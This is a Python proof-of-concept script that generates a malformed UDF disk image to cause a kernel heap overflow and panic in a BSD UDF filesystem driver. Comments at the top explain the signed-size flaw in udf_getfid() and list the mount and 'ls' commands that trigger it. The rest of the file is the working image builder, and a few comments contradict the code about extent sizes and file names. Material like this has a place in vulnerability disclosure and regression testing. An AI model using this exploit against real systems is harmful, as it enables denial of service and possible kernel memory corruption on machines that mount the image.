#!/usr/bin/env python3
# DF-0831 -- crafted UDF image generator.
#
# Builds a minimal but fully valid UDF filesystem (ECMA-167 / UDF 2.x) whose
# ROOT DIRECTORY spans TWO allocation extents.  The first extent is sized so
# that its second File Identifier Descriptor has a non-4-aligned total size
# (41 = 38 + l_iu(0) + l_fi(3)), positioned exactly at the extent boundary:
#
#     FID_A (parent): off 0,  total 38, aligned 40
#     FID_B ("abc") : off 40, total 41, aligned 44
#
# with extent-0 length == 81.  Then in udf_getfid():
#   - FID_B passes the :539/:540 guard (40+41 == 81 <= 81), takes the
#     NON-fragmented branch, and the :605 alignment advances ds->off to 84
#     (3 bytes PAST ds->size);
#   - the next udf_getfid() call reaches the fragmented branch, where
#     frag_size = 81 - 84 = -3, the signed `frag_size >= bsize` guard at :544
#     is bypassed, and bcopy(..., (size_t)-3) overflows the heap.
#
# Mount with:   vnconfig vn0 img.udf ; mount_udf /dev/vn0 /mnt
# Trigger:      ls /mnt     (or any getdents)   ->  kernel panic
#
# Layout (2048-byte sectors):
#   16..18  VRS (BEA01 / NSR02 / TEA01)
#   32..34  MVDS (PVD / PD / LVD)
#   64      FSD            (partition-relative 0)
#   65      root File Entry(partition-relative 1)
#   66      root dir extent-0 data (81 B used)   (partition-relative 2)
#   67      root dir extent-1 data (16 B)        (partition-relative 3)
#   256     Anchor VDP
import struct, sys

BSIZE    = 2048
PART_ST  = 64          # partition start sector (absolute)
PART_LEN = 448         # sectors
SECTORS  = 512         # image size in sectors
PART_NUM = 0

TAGID_PVD, TAGID_ANCHOR, TAGID_VOL, TAGID_PARTITION, TAGID_LOGVOL = 1,2,3,5,6
TAGID_TERM, TAGID_FSD, TAGID_FID, TAGID_FENTRY = 8,256,257,261

def tag(tid, loc, crc=0, crc_len=0, ver=2, serial=0):
    """Build a 16-byte desc_tag with the ECMA-167 checksum udf_checktag uses.
       (udf_checktag only verifies id + cksum, NOT desc_crc -- so crc can be 0.)"""
    b = bytearray(16)
    struct.pack_into("<HHBBHHHI", b, 0,
                     tid, ver, 0, 0, serial, crc, crc_len, loc)  # byte[2]=cksum(0)
    ck = 0
    for i in range(15):      # sum bytes 0..14
        ck = (ck + b[i]) & 0xFF
    ck = (ck - b[4]) & 0xFF  # subtract the cksum byte (udf_checktag line 218)
    b[4] = ck
    return bytes(b)

def sector(buf):
    """Pad/truncate to exactly one 2048-byte sector."""
    b = bytearray(buf)
    if len(b) < BSIZE: b.extend(b"\x00" * (BSIZE - len(b)))
    return bytes(b[:BSIZE])

def regid(s):
    s = s.encode() if isinstance(s, str) else s
    return bytes([0]) + s[:23].ljust(23, b"\x00") + b"\x00"*8      # flags+id(23)+suffix(8)

def charspec():
    return b"\x00" + b"OSTA Compressed Unicode" .ljust(63, b"\x00")

def ts():
    return b"\x01" + b"\x00"*11        # type 1 tz, zeroed time fields

# ---------- Volume Recognition Sequence ----------
def vrs_entry(ident):
    # struct vol_struct_desc: type(1)=0, identifier(5), version(2)=0x0201, data(2041)
    b = bytearray(BSIZE)
    b[0] = 0
    b[1:6] = ident.encode() if isinstance(ident,str) else ident
    struct.pack_into("<H", b, 6, 0x0201)
    return bytes(b)
BEA = vrs_entry("BEA01")
NSR = vrs_entry("NSR02")
TEA = vrs_entry("TEA01")

# ---------- Anchor VDP (sector 256) ----------
def anchor():
    main_loc, main_len = 32, 5*BSIZE     # MVDS spans sectors 32..35 (loc,len in bytes)
    res_loc,  res_len  = 32, 5*BSIZE
    b = bytearray(BSIZE)
    b[0:16] = tag(TAGID_ANCHOR, 256)
    struct.pack_into("<II", b, 16, main_len, main_loc)   # extent_ad main  (len,loc)
    struct.pack_into("<II", b, 24, res_len,  res_loc)    # extent_ad reserve
    return bytes(b)

# ---------- Primary Volume Descriptor (sector 32) ----------
def pvd():
    b = bytearray(BSIZE)
    b[0:16] = tag(TAGID_PVD, 32)
    struct.pack_into("<II", b, 16, 1, 1)            # seq_num=1, pdv_num=1
    b[24:56] = b"DF0831DISK".ljust(32, b" ")        # vol_id[32]
    struct.pack_into("<H", b, 56, 1)                # vds_num
    b[64:192] = b"DF0831VSET".ljust(128, b" ")      # volset_id[128]
    b[192:256] = charspec() + charspec()            # desc+explanatory charsets
    return sector(b)

# ---------- Partition Descriptor (sector 33) ----------
# part_desc: tag(16) seq_num(4) flags(2) part_num(2) contents(regid 32)
#            contents_use[128] access_type(4) start_loc(4) part_len(4) ...
def pd():
    b = bytearray(BSIZE)
    b[0:16] = tag(TAGID_PARTITION, 33)
    struct.pack_into("<I", b, 16, 1)                # seq_num
    struct.pack_into("<H", b, 20, 1)                # flags
    struct.pack_into("<H", b, 22, PART_NUM)         # part_num
    b[24:56] = regid("+FDC01")                      # contents (NSR02)        ->56
    b[56:184] = b"\x00"*128                         # contents_use[128]       ->184
    struct.pack_into("<I", b, 184, 1)               # access_type
    struct.pack_into("<I", b, 188, PART_ST)         # start_loc
    struct.pack_into("<I", b, 192, PART_LEN)        # part_len
    return sector(b)

# ---------- Logical Volume Descriptor (sector 34) ----------
def lvd():
    b = bytearray(BSIZE)
    b[0:16] = tag(TAGID_LOGVOL, 34)
    struct.pack_into("<I", b, 16, 1)                # seq_num
    b[20:84]  = charspec()                          # desc_charset (64)   ->84
    b[84:212] = b"DF0831LOGVOL".ljust(128, b" ")    # logvol_id[128]      ->212
    struct.pack_into("<I", b, 212, BSIZE)           # lb_size             ->216
    b[216:248] = regid("*OSTA UDF Compliant")       # domain_id (32)      ->248
    # _lvd_use.fsd_loc long_ad at 248: len, lb_addr(lb_num,part_num), ad_flags, ad_id ->264
    struct.pack_into("<I",  b, 248, BSIZE)          # fsd_loc.len
    struct.pack_into("<IH", b, 252, 0, PART_NUM)    # fsd_loc.loc.lb_num=0, part_num
    struct.pack_into("<H",  b, 258, 0)              # ad_flags
    struct.pack_into("<I",  b, 260, 0)              # ad_id
    struct.pack_into("<II", b, 264, 64, 1)          # mt_l=64 (1 pmap slot), n_pm=1 ->272
    b[272:304] = regid("*DragonFly BSD")            # imp_id (32)         ->304
    b[304:432] = b"\x00"*128                        # imp_use             ->432
    struct.pack_into("<II", b, 432, 0, 0)           # integrity seq extent->440
    # Type 1 partition map at 440: type=1,len=6,vol_seq=0,part_num=0
    b[440] = 1; b[441] = 6
    struct.pack_into("<HH", b, 442, 0, PART_NUM)
    return sector(b)

# ---------- File Set Descriptor (sector 64 = partition-relative 0) ----------
def fsd():
    b = bytearray(BSIZE)
    b[0:16] = tag(TAGID_FSD, 0)                     # tag_loc is partition-relative
    b[16:28] = ts()                                 # timestamp
    struct.pack_into("<HH", b, 28, 3, 3)            # ichg_lvl, max_ichg_lvl
    b[48:80]   = charspec()                         # logvol_id_charset
    b[80:208]  = b"DF0831LOGVOL".ljust(128, b" ")
    b[208:272] = charspec()                         # fileset_charset (64)
    b[272:304] = b"\x00"*32                         # fileset_id
    # rootdir_icb long_ad: len, lb_num(1), part_num(0), ad_flags, ad_id
    struct.pack_into("<I",  b, 400, BSIZE)
    struct.pack_into("<IH", b, 404, 1, PART_NUM)
    struct.pack_into("<H",  b, 410, 0)
    struct.pack_into("<I",  b, 412, 0)
    b[416:416+32] = regid("*OSTA UDF Compliant")    # domain_id
    return sector(b)

# ---------- File Entry (sector 65 = partition-relative 1) ----------
# icb_tag (20): prev_num_dirs(4) strat_type(2) strat_param(2) max_num_entries(2)
#               reserved(1) file_type(1) parent lb_addr(6) flags(2)
def icb_tag(file_type, flags):
    b = bytearray(20)
    struct.pack_into("<I",  b, 0,  0)               # prev_num_dirs
    struct.pack_into("<H",  b, 4,  4)               # strat_type 4 (dir)
    b[6:8] = b"\x00\x00"                            # strat_param
    struct.pack_into("<H",  b, 8,  1)               # max_num_entries
    b[10] = 0                                       # reserved
    b[11] = file_type                               # 4 = directory
    struct.pack_into("<IH", b, 12, 1, PART_NUM)     # parent_icb (root itself)
    struct.pack_into("<H",  b, 18, flags)           # flags: short_ad (0)
    return bytes(b)

def root_fe():
    EXT0_LEN = 81
    EXT1_LEN = 40          # one valid terminal FID_C (l_fi=2 -> total 40)
    INF_LEN  = EXT0_LEN + EXT1_LEN                  # 121
    L_AD     = 2*8                                  # two short_ad's = 16 bytes
    b = bytearray(BSIZE)
    b[0:16]   = tag(TAGID_FENTRY, 1)                # partition-relative sector 1
    b[16:36]  = icb_tag(file_type=4, flags=0)       # directory, short_ad
    struct.pack_into("<I", b, 36, 0)                # uid
    struct.pack_into("<I", b, 40, 0)                # gid
    struct.pack_into("<I", b, 44, 0x14A4)           # perm (0755 dir)
    struct.pack_into("<H", b, 48, 2)                # link_cnt
    b[50] = 0; b[51] = 0                            # rec_format, rec_disp_attr
    struct.pack_into("<I", b, 52, 0)                # rec_len
    struct.pack_into("<Q", b, 56, INF_LEN)          # inf_len  (fsize for readdir)
    struct.pack_into("<Q", b, 64, 1)                # logblks_rec
    b[72:84]  = ts()                                # atime
    b[84:96]  = ts()                                # mtime
    b[96:108] = ts()                                # attrtime
    struct.pack_into("<I", b, 108, 1)               # ckpoint
    b[112:128] = b"\x00"*16                         # ex_attr_icb long_ad
    b[128:160] = regid("*DragonFly BSD")            # imp_id
    struct.pack_into("<Q", b, 160, 0)               # unique_id
    struct.pack_into("<I", b, 168, 0)               # l_ea
    struct.pack_into("<I", b, 172, L_AD)            # l_ad
    # data[] at offset 176: two short_ad's (len,pos) partition-relative sectors
    struct.pack_into("<II", b, 176, EXT0_LEN, 2)    # extent 0: 81 B at part-sector 2
    struct.pack_into("<II", b, 184, EXT1_LEN, 3)    # extent 1: 16 B at part-sector 3
    return sector(b)

# ---------- Root directory extent data ----------
def fid_desc(file_char, l_fi, l_iu, name, icb_lb):
    """Build a File Identifier Descriptor (UDF_FID_SIZE + l_iu + l_fi)."""
    n = name.encode() if isinstance(name, str) else name
    body = bytearray(UDF_FID_SIZE := 38 + l_iu + len(n))
    body[0:16] = tag(TAGID_FID, 0)                  # tag_loc 0 (not validated)
    struct.pack_into("<H", body, 16, 0)             # file_num
    body[18] = file_char
    body[19] = l_fi
    # icb long_ad at offset 20: len, lb_num, part_num, ad_flags, ad_id
    struct.pack_into("<I",  body, 20, BSIZE)
    struct.pack_into("<IH", body, 24, icb_lb, PART_NUM)
    struct.pack_into("<H",  body, 30, 0)
    struct.pack_into("<I",  body, 32, 0)
    struct.pack_into("<H",  body, 36, l_iu)         # l_iu
    off = 38
    # implementation use area (l_iu bytes) then file identifier (l_fi bytes)
    body[off:off+l_iu] = b"\x00"*l_iu
    off += l_iu
    body[off:off+len(n)] = n
    return bytes(body)

def extent0():
    """81 bytes: FID_A(parent) at 0, FID_B(OSTA 8-bit 'AB') at 40.
    Rest zero-padded to a block."""
    # OSTA Compressed Unicode, 8-bit: d-string = [8, c1, c2]  (l_fi = 3)
    a = fid_desc(file_char=0x08|0x01, l_fi=0, l_iu=0, name=b"",        icb_lb=1)  # 38 bytes
    bb= fid_desc(file_char=0x01,      l_fi=3, l_iu=0, name=b"\x08AB",  icb_lb=4)  # 41 bytes
    buf = bytearray(BSIZE)
    buf[0:len(a)]        = a
    buf[40:40+len(bb)]   = bb
    return bytes(buf)                                # full block; only first 81 are "valid"

def extent1():
    """Extent-1 block.  NOTE the udf_readatoffset() quirk at udf_vnops.c:1057:
    `*data = &bp->b_data[offset % bsize]`, so when udf_getfid() re-reads at
    ds->offset == 81 the kernel actually consumes bytes at block-offset 81,
    not 0.  We therefore place the terminal FID_C at block offset 81 so a
    PATCHED kernel readdir ends cleanly (".", "..", "AB", "X").  The UNPATCHED
    kernel panics in iteration 3 *before* this extent is read, so the layout
    here does not affect the trigger."""
    c = fid_desc(file_char=0x01, l_fi=2, l_iu=0, name=b"\x08X", icb_lb=5)  # 40 bytes
    buf = bytearray(BSIZE)
    buf[81:81+len(c)] = c
    return bytes(buf)

# ---------- assemble image ----------
img = bytearray(SECTORS * BSIZE)
def put(sec, data):
    img[sec*BSIZE: sec*BSIZE + BSIZE] = data[:BSIZE]

put(16, BEA); put(17, NSR); put(18, TEA)
put(32, pvd()); put(33, pd()); put(34, lvd())     # MVDS (sector 35 left zero -> skipped)
put(64, fsd())                                     # partition-relative 0
put(65, root_fe())                                 # partition-relative 1
put(66, extent0())                                 # partition-relative 2  (81 B valid)
put(67, extent1())                                 # partition-relative 3  (16 B)
put(256, anchor())

with open(sys.argv[1] if len(sys.argv) > 1 else "df0831.udf", "wb") as f:
    f.write(img)
name = sys.argv[1] if len(sys.argv) > 1 else "df0831.udf"
print("wrote %s: %d bytes (%d sectors), extent0=81B, FID_B total=41 "
      "(aligned 44), overshoot=3 -> frag_size=-3 -> bcopy size_t=0x%x"
      % (name, len(img), SECTORS, (1 << 64) - 3))